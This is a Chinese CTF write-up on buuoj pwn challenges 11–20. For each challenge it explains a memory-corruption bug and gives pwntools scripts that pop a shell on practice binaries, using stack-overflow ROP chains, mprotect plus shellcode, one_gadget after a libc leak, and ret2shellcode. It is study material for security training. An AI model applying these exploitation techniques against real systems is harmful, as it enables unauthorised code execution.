buuoj Pwn writeup 11-20

11 get_started_3dsctf_2016

在这里插入图片描述保护,简简单单开了个NX。

buuoj Pwn writeup 11-20_第1张图片
进去把那个函数名称拉一拉,发现这程序是静态编译的。
buuoj Pwn writeup 11-20_第2张图片buuoj Pwn writeup 11-20_第3张图片

看main函数,我直呼好家伙,这句子它先就是个神奇的句子。

很明显一个栈溢出。
在这里插入图片描述很明显看到了关键函数。
buuoj Pwn writeup 11-20_第4张图片
buuoj Pwn writeup 11-20_第5张图片
栈溢出之后一般32位程序ebp之后就是返回地址,但是在32的main函数中,ebp之后先是三个参数,然后才是返回地址,因为get flag 函数中传入了参数并且对参数有判断,所以在栈溢出的时候返回地址后面写上返回函数的返回地址,再写入两个参数,名满足调用规则,从右往左先入栈,所以地址后面紧跟a1,然后才是a2.

buuoj Pwn writeup 11-20_第6张图片
但是调一下就会发现,这程序返回是用add ret返回的,所以0x38之后直接就是返回地址。

但是又注意到,传参进来后v3,v5的数据类型是unsigned_int8,就一个字节,是无符号的,表示0-255,根本达不到下面判断语句中的那么大,所以调整返回地址,直接调整到进入下面输出flag的地方。

buuoj Pwn writeup 11-20_第7张图片

顺便说一下getc函数,就是在C语言中,用函数getc(fgetc)从文件读取字符。

然后就写脚本
exp

'''
from pwn import*

context.log_level = "debug"

#r = remote('node3.buuoj.cn',28988)
r = process('./2016')
#gdb.attach(r, 'b gets')

flag_addr = 0x80489b8

payload = 'a' * 0x38
payload += p32(flag_addr)

r.recvuntil("Qual a palavrinha magica? ")
r.sendafter(payload)



r.interactive()
'''
from pwn import*

p=process('./2016')

gdb.attach(p)

payload='a'*0x38+p32(0x80489b8)
p.sendline(payload)
p.interactive()

发现个好玩的,上面那个被注掉的是我刚开始写的,不能用,一到recv就卡住了,我直呼好家伙。

在这里插入图片描述
然后看似不通

buuoj Pwn writeup 11-20_第8张图片
其实通了,只不过它程序是读你里面的flag.txt但是你没有而已。

然后我发现里面有syscall,所以也可以直接ret2syscall
buuoj Pwn writeup 11-20_第9张图片本来想直接在这里把exp贴上来,没想到在调试它的过程中出现了很多状况,记录在了下面(doge)。

buuoj pwn get_started_3dsctf_2016 ret2syscall

我们也可以通过mprotect改它的权限,因为开了NX,所以shellcode写不上去,我们先把权限改了,然后把shellcode写在bss段上,然后跳过去执行。

然后要用到pop,因为在给mprotect传参的时候函数是直接ret的,所以我们需要帮助他。
buuoj Pwn writeup 11-20_第10张图片exp

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='i386'
context.log_level='debug'

r = process('./2016')
elf=ELF('./2016')

bss=0x080eb000
pop_ebx_esi_edi_ret=0x080509a5

payload='a'*0x38+p32(elf.sym['mprotect'])+p32(pop_ebx_esi_edi_ret)+p32(bss)+p32(0x2d)+p32(7)+p32(elf.sym['read'])+p32(bss)+p32(0)+p32(bss)+p32(0x2d)

r.sendline(payload)
payload=asm(shellcraft.sh())
r.sendline(payload)

r.interactive()

12 ciscn_2019_en_2

buuoj Pwn writeup 11-20_第11张图片
进来首先看到部署在Ubuntu18上面,所以system需要考虑栈对齐。

然后发现
这个跟第7个ciscn_2019_c_1一摸一样嘛

buuoj pwn wp 1-10

13 ciscn_2019_n_8

首先发现它又是部署在Ubantu18上面

检查一下保护
在这里插入图片描述buuoj Pwn writeup 11-20_第12张图片鼠标放在var上面可以发现它是四个字节的,但是下面var13那里是用QWORD读的,就是八个字节。

所以只要输入的时候var13那里输入个8字节的17就好了。

from pwn import*

r = remote('node3.buuoj.cn',27724)

payload = 'a' * 4 * 13 + p64(17)

r.sendline(payload)

r.interactive()

14 jarvisoj_level2

保护检查一下子
在这里插入图片描述buuoj Pwn writeup 11-20_第13张图片

buuoj Pwn writeup 11-20_第14张图片
有两个后门函数,但是里面参数不对,里面有明显的栈溢出,想的是改变函数的参数为‘/bin/sh’,但是发现参数在.rodata段。

我们可以不要那个参数,自己写/bin/sh,或者看看程序里面有没有,查了一下,还真有,那就完了嘛 ROP一把梭。

在这里插入图片描述这地方还是个hint 好家伙。

exp

from pwn import*

r = remote('node3.buuoj.cn',26358)

system_addr = 0x0804845C
bin_sh = 0x804a024

payload = 'a' * 140 + p32(system_addr) + p32(bin_sh) + p32(bin_sh)
r.sendline(payload)

r.interactive()

15 not_the_same_3dsctf_2016

在这里插入图片描述
保护检查一下。
buuoj Pwn writeup 11-20_第15张图片

发现有个这,
buuoj Pwn writeup 11-20_第16张图片发现有个栈溢出,ret2text就好了嘛。

exp

from pwn import*

r = remote('node3.buuoj.cn', 28760)
#r = process('./2016')

elf = ELF('./2016')

secret_addr = 0x80489a0
write_addr = 0x806e270
bss_addr = 0x80eca2d

payload = 'a' * 0x2d + p32(secret_addr) + p32(write_addr) + p32(write_addr) + p32(1) + p32(bss_addr) + p32(50)
r.sendline(payload)

r.interactive()

16 [BJDCTF 2nd]one_gadget

勉强能说成是PIE绕过吧。
在这里插入图片描述
保护拉满。

buuoj Pwn writeup 11-20_第17张图片这一看就里面把你输入的地址当作函数地址去执行。

但是怎么利用?

发现它给留了个这玩意。
buuoj Pwn writeup 11-20_第18张图片因为开了PIE
通过这个可以泄露地址,然后计算libc的基地址,从而得到one_gadget的地址,就好了。

exp

from pwn import*

#r = process('./one')
r = remote('node3.buuoj.cn',27708)

context.log_level = "debug"

libc = ELF('libc-2.29.so')
one_gadget = 0x106ef8

r.recvuntil('0x')

printf_addr = int(r.recvuntil('\n')[:-1],16)
#int这块后面的16指的是把字符串当成16进制的字符串转化为十进制整数。

print printf_addr

libc_base = printf_addr - libc.sym['printf']
one_addr = libc_base + one_gadget

r.sendline(str(one_addr))

r.interactive()

17 bjdctf_2020_babystack

ret2text

在这里插入图片描述
保护检查一下
buuoj Pwn writeup 11-20_第19张图片
发现个后门函数

buuoj Pwn writeup 11-20_第20张图片明显的栈溢出。

所以就直接一把梭嘛。

有个小细节
就是你看他那个栈帧的时候你会发现,挺奇怪的。
buuoj Pwn writeup 11-20_第21张图片
我们实际调一下。

在这里插入图片描述
所以其实还是就那个样子。

exp

from pwn import*

#r = process('./baby')
r = remote('node3.buuoj.cn',26010)
context.log_level = "debug"
backdoor = 0x4006e6

payload = 'a' * 0x18 + p64(backdoor)
r.sendlineafter('[+]Please input the length of your name:', '32')

r.sendlineafter('[+]What\'s u name?', payload)

r.interactive()

18 [HarekazeCTF2019]baby_rop

保护检查
在这里插入图片描述buuoj Pwn writeup 11-20_第22张图片
要啥有啥。

buuoj Pwn writeup 11-20_第23张图片栈溢出ROP一把梭。

64位的需要用到gadget
buuoj Pwn writeup 11-20_第24张图片

exp

from pwn import*

#r = process('./babyrop')
r = remote('node3.buuoj.cn',29212)
context.log_level = "debug"

system_addr = 0x4005e3
bin_sh = 0x601048
pop_rdi = 0x400683

payload = 'a' * 0x18 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)

r.sendline(payload)

r.interactive()

19 jarvisoj_level2_x64

保护。

在这里插入图片描述

buuoj Pwn writeup 11-20_第25张图片
又是要啥有啥。
buuoj Pwn writeup 11-20_第26张图片
buuoj Pwn writeup 11-20_第27张图片

栈溢出一把梭

from pwn import*

#r = process('./babyrop')
r = remote('node3.buuoj.cn',29380)
context.log_level = "debug"

system_addr = 0x400603
bin_sh = 0x600a90
pop_rdi = 0x4006b3

payload = 'a' * 0x88 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)

r.sendline(payload)

r.interactive()

20 ciscn_2019_n_5

典型的ret2shellcode

保护
在这里插入图片描述没有后门,就有个栈溢出。

buuoj Pwn writeup 11-20_第28张图片

但是发现NX没开,所以我们可以写一段shellcode在bss上,然后栈溢出跳过去。

exp

from pwn import *

context.arch = 'amd64'
#写shellcode要加这个

context.log_level = 'debug'

r = remote("node3.buuoj.cn" , 29994)

shellcode = asm(shellcraft.amd64.sh())
#shellcode这样写

bss_addr = 0x601080

r.recvuntil("tell me your name")
r.sendline(shellcode)
r.recvuntil("What do you want to say to me?")
payload = 'a'* 0x28 + p64(bss_addr)
r.sendline(payload)

r.interactive()

你可能感兴趣的:(CTF,安全)